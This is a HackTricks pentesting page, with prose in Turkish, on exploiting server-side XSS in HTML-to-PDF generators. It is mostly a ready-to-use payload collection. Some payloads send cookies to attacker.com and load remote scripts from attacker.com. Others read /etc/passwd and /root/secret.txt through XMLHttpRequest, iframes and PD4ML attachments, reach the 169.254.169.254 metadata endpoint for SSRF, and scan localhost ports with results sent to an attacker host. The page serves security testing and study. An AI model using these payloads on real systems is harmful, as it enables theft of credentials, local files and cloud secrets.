hacktricks/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

191 lines
9.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Server Side XSS (Dynamic PDF)
{{#include ../../banners/hacktricks-training.md}}
## Server Side XSS (Dynamic PDF)
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **keyfi JS kodu çalıştırması için kandırmayı** deneyebilirsiniz.\
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır** ve bu davranışı **istismar** ederek bir **Server XSS** oluşturabilirsiniz.
Lütfen, `<script></script>` etiketlerinin her zaman çalışmadığını unutmayın, bu yüzden JS'yi çalıştırmak için farklı bir yöntem kullanmanız gerekecek (örneğin, `<img` istismar ederek).\
Ayrıca, normal bir istismar durumunda oluşturulan pdf'yi **görebilir/indirebilirsiniz**, bu yüzden **JS ile yazdığınız her şeyi** görebilirsiniz (örneğin `document.write()` kullanarak). Ancak, eğer oluşturulan PDF'yi **göremiyorsanız**, muhtemelen **bilgiyi çıkarmak için web isteği yapmanız** gerekecek (Kör).
### Popüler PDF oluşturma
- **wkhtmltopdf**, HTML ve CSS'yi PDF belgelerine dönüştürme yeteneği ile bilinir ve WebKit render motorunu kullanır. Bu araç, geniş bir uygulama yelpazesi için erişilebilir hale getiren açık kaynaklı bir komut satırı aracı olarak mevcuttur.
- **TCPDF**, PDF oluşturma için PHP ekosisteminde sağlam bir çözüm sunar. Görüntüleri, grafikleri ve şifrelemeyi işleyebilme yeteneği ile karmaşık belgeler oluşturmak için çok yönlülüğünü sergiler.
- Node.js ortamında çalışanlar için **PDFKit** geçerli bir seçenek sunar. HTML ve CSS'den doğrudan PDF belgeleri oluşturulmasına olanak tanır ve web içeriği ile yazdırılabilir formatlar arasında bir köprü sağlar.
- Java geliştiricileri, PDF oluşturmayı kolaylaştıran ve dijital imzalar ile form doldurma gibi gelişmiş özellikleri destekleyen **iText** kütüphanesini tercih edebilir. Kapsamlı özellik seti, güvenli ve etkileşimli belgeler oluşturmak için uygundur.
- **FPDF**, basitliği ve kullanım kolaylığı ile öne çıkan bir başka PHP kütüphanesidir. Geliştiricilerin kapsamlı özelliklere ihtiyaç duymadan PDF oluşturma için basit bir yaklaşım arayanlar için tasarlanmıştır.
## Payloads
### Discovery
```html
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
```
### SVG
Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe Burpcollab alt alanına erişirken, diğeri ise meta veri uç noktasına erişmektedir; bunlar örnek olarak verilmiştir.
```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
```
Birçok **diğer SVG yüklemesi** bulabilirsiniz [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
### Yol ifşası
```html
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
### Yükleme harici bir betik
Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kontrol ettiğiniz bir betiği yüklemesini sağlamak için açığı kötüye kullanmaktır. Böylece, yüklenen yükü yerel olarak değiştirebilir ve botun her seferinde aynı kodla yüklemesini sağlayabilirsiniz.
```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
### Yerel dosyayı oku / SSRF
> [!WARNING]
> `file:///etc/passwd` yerine örneğin `http://169.254.169.254/latest/user-data` kullanarak **harici bir web sayfasına erişmeye çalışın (SSRF)**.
>
> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adına veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md).
```html
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
```
```html
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
```
```html
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```
```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### Bot gecikmesi
```html
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
```
### Port Tarama
```html
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
```
### [SSRF](../ssrf-server-side-request-forgery/index.html)
Bu zafiyet, bir SSRF'ye çok kolay bir şekilde dönüştürülebilir (çünkü script'in dış kaynakları yüklemesine izin verirsiniz). Bu yüzden bunu istismar etmeyi deneyin (biraz meta verisi mi okuyacaksınız?).
### Attachments: PD4ML
PDF için **ekleri belirtmeye** izin veren bazı HTML 2 PDF motorları vardır, örneğin **PD4ML**. Bu özelliği, **herhangi bir yerel dosyayı** PDF'ye **eklemek** için kötüye kullanabilirsiniz.\
Ek'i açmak için dosyayı **Firefox ile açtım ve Ataç simgesine çift tıkladım** ve **ek'i** yeni bir dosya olarak **kaydettim**.\
Burp ile **PDF yanıtını** yakalamak da **ek'i düz metin olarak** PDF içinde **göstermelidir**.
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>
<pd4ml:attachment
src="/etc/passwd"
description="attachment sample"
icon="Paperclip" />
</html>
```
## Referanslar
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
{{#include ../../banners/hacktricks-training.md}}